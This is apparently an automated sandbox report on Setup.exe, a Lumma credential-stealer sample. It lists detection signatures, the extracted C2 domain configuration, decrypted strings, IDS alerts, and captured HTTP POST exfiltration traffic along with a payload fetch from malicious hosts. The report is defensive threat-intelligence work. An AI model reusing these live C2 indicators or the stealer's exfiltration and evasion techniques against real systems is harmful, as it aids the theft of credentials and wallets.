Edit tour

Windows Analysis Report
Setup.exe

Overview

General Information

Sample name:	Setup.exe
Analysis ID:	1585372
MD5:	b42457dd108a4b0032a35391be8c1a4e
SHA1:	f28ee5d70cd6bbb66351e7fd6da2fe8e22fdbdba
SHA256:	853df9767577da1c0ad5a6589f5b33d61e282675cc0abcae55d24aaf74193623
Tags:	exeLummaStealeruser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Setup.exe (PID: 4440 cmdline: "C:\Users\user\Desktop\Setup.exe" MD5: B42457DD108A4B0032A35391BE8C1A4E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["wholersorie.shop", "noisycuttej.shop", "cloudewahsj.shop", "tirepublicerj.shop", "nearycrepso.shop", "framekgirus.shop", "monkeycutte.cyou", "abruptyopsn.shop", "rabidcowse.shop"], "Build id": "hRjzG3--GAS"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x51577:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000000.00000003.2378707256.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Setup.exe PID: 4440	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Setup.exe PID: 4440	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T15:33:21.220650+0100	2028371	3	Unknown Traffic	192.168.2.6	49796	188.114.96.3	443	TCP
2025-01-07T15:33:22.442940+0100	2028371	3	Unknown Traffic	192.168.2.6	49802	188.114.96.3	443	TCP
2025-01-07T15:33:23.996113+0100	2028371	3	Unknown Traffic	192.168.2.6	49813	188.114.96.3	443	TCP
2025-01-07T15:33:25.650141+0100	2028371	3	Unknown Traffic	192.168.2.6	49824	188.114.96.3	443	TCP
2025-01-07T15:33:26.862006+0100	2028371	3	Unknown Traffic	192.168.2.6	49830	188.114.96.3	443	TCP
2025-01-07T15:33:28.305033+0100	2028371	3	Unknown Traffic	192.168.2.6	49841	188.114.96.3	443	TCP
2025-01-07T15:33:29.329728+0100	2028371	3	Unknown Traffic	192.168.2.6	49851	188.114.96.3	443	TCP
2025-01-07T15:33:30.283912+0100	2028371	3	Unknown Traffic	192.168.2.6	49859	188.114.96.3	443	TCP
2025-01-07T15:33:31.545509+0100	2028371	3	Unknown Traffic	192.168.2.6	49865	185.161.251.21	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T15:33:21.977021+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49796	188.114.96.3	443	TCP
2025-01-07T15:33:22.939365+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49802	188.114.96.3	443	TCP
2025-01-07T15:33:30.771218+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49859	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T15:33:21.977021+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49796	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T15:33:22.939365+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49802	188.114.96.3	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T15:33:25.060322+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49813	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://cegu.shop/8574262446/ph.txt~%	Avira URL Cloud: Label: malware
Source: https://cegu.shop/a	Avira URL Cloud: Label: malware
Source: https://cegu.shop:443/8574262446/ph.txtBE87140A	Avira URL Cloud: Label: malware
Source: https://cegu.shop/8574262446/ph.txtW	Avira URL Cloud: Label: malware
Source: https://cegu.shop/8574262446/ph.txt0%a	Avira URL Cloud: Label: malware
Source: https://cegu.shop/8574262446/ph.txtebKit/537.36	Avira URL Cloud: Label: malware

Found malware configuration

Source: Setup.exe.4440.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["wholersorie.shop", "noisycuttej.shop", "cloudewahsj.shop", "tirepublicerj.shop", "nearycrepso.shop", "framekgirus.shop", "monkeycutte.cyou", "abruptyopsn.shop", "rabidcowse.shop"], "Build id": "hRjzG3--GAS"}

Multi AV Scanner detection for submitted file

Source: Setup.exe

ReversingLabs: Detection: 18%

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: monkeycutte.cyou
Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp	String decryptor: hRjzG3--GAS

Source: Setup.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.6:49865 version: TLS 1.2

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004667C0 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	0_2_004667C0
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00466C3C SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	0_2_00466C3C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0049AD48 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	0_2_0049AD48
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00465248 FindFirstFileA,FindNextFileA,FindClose,	0_2_00465248
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0045562C FindFirstFileA,GetLastError,	0_2_0045562C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0047777C FindFirstFileA,FindNextFileA,FindClose,	0_2_0047777C

Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then push ebx	0_2_0317E31A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp esi, edx	0_2_0317E31A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	0_2_031843BA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then jmp ecx	0_2_031503E4
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_0315A25A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h	0_2_0317E246
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 0E4A4AE9h	0_2_03150242
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0316124A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	0_2_0316A2DA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov byte ptr [edx], cl	0_2_0316B2E6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	0_2_0316A251
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then push eax	0_2_03182169
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-2D14B172h]	0_2_031711BD
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-14h]	0_2_031721DF
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov edx, ecx	0_2_03173057
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp ah, 0000002Eh	0_2_0316B099
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-4ADCAC34h]	0_2_0314C08D
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+00000298h]	0_2_031570C8
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-000000BBh]	0_2_0314E715
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then test esi, esi	0_2_0317E70A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx-3EEFCD92h]	0_2_0318175A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_0315879C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_0315879C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+01h]	0_2_0316167A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_0316E66A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov ecx, eax	0_2_031836CA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov eax, ecx	0_2_0315D6FB
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0315D6FB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49813 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49796 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49796 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49802 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49802 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49859 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: monkeycutte.cyou
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 185.161.251.21 185.161.251.21

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49802 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49796 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49813 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49830 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49851 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49824 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49841 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49865 -> 185.161.251.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49859 -> 188.114.96.3:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: monkeycutte.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: monkeycutte.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LQ0A6BUZ4WK08OSDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12845Host: monkeycutte.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=I8XI16BFK5U5EHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15079Host: monkeycutte.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=17LWJI2TLRBYW8FO1OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19961Host: monkeycutte.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TO7ZEFQBONRBGJFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1207Host: monkeycutte.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2F8EY7HTDATHTTGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1084Host: monkeycutte.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 112Host: monkeycutte.cyou
Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop

Source: global traffic	DNS traffic detected: DNS query: monkeycutte.cyou
Source: global traffic	DNS traffic detected: DNS query: cegu.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: monkeycutte.cyou

Source: Setup.exe	String found in binary or memory: Http://Www.SkyGz.Com
Source: Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Setup.exe	String found in binary or memory: http://certificates.starfieldtech.com/repository/1604
Source: Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Setup.exe	String found in binary or memory: http://crl.starfieldtech.com/repository/0
Source: Setup.exe	String found in binary or memory: http://crl.starfieldtech.com/repository/sfsroot.crl0P
Source: Setup.exe	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Setup.exe	String found in binary or memory: http://ocsp.starfieldtech.com/0D
Source: Setup.exe	String found in binary or memory: http://ocsp.thawte.com0
Source: Setup.exe	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: Setup.exe	String found in binary or memory: http://s2.symcb.com0
Source: Setup.exe	String found in binary or memory: http://sf.symcb.com/sf.crl0f
Source: Setup.exe	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: Setup.exe	String found in binary or memory: http://sf.symcd.com0&
Source: Setup.exe	String found in binary or memory: http://sv.symcb.com/sv.crl0W
Source: Setup.exe	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: Setup.exe	String found in binary or memory: http://sv.symcd.com0&
Source: Setup.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: Setup.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: Setup.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: Setup.exe	String found in binary or memory: http://www.innosetup.com/
Source: Setup.exe	String found in binary or memory: http://www.remobjects.com/ps
Source: Setup.exe	String found in binary or memory: http://www.remobjects.com/psU
Source: Setup.exe	String found in binary or memory: http://www.symauth.com/cps0(
Source: Setup.exe	String found in binary or memory: http://www.symauth.com/rpa00
Source: Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Setup.exe, 00000000.00000002.4557178178.0000000000616000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419244540.0000000000610000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019571658.0000000000614000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/
Source: Setup.exe, 00000000.00000002.4557178178.0000000000616000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419244540.0000000000610000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019571658.0000000000614000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txt
Source: Setup.exe, 00000000.00000002.4557178178.0000000000616000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419244540.0000000000610000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019571658.0000000000614000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txt0%a
Source: Setup.exe, 00000000.00000002.4558137225.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419023414.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txtW
Source: Setup.exe, 00000000.00000002.4557974782.00000000037BB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txtebKit/537.36
Source: Setup.exe, 00000000.00000002.4557178178.0000000000616000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419244540.0000000000610000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019571658.0000000000614000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txt~%
Source: Setup.exe, 00000000.00000002.4557178178.0000000000616000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419244540.0000000000610000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019571658.0000000000614000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/a
Source: Setup.exe, 00000000.00000003.2419040702.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop:443/8574262446/ph.txtBE87140A
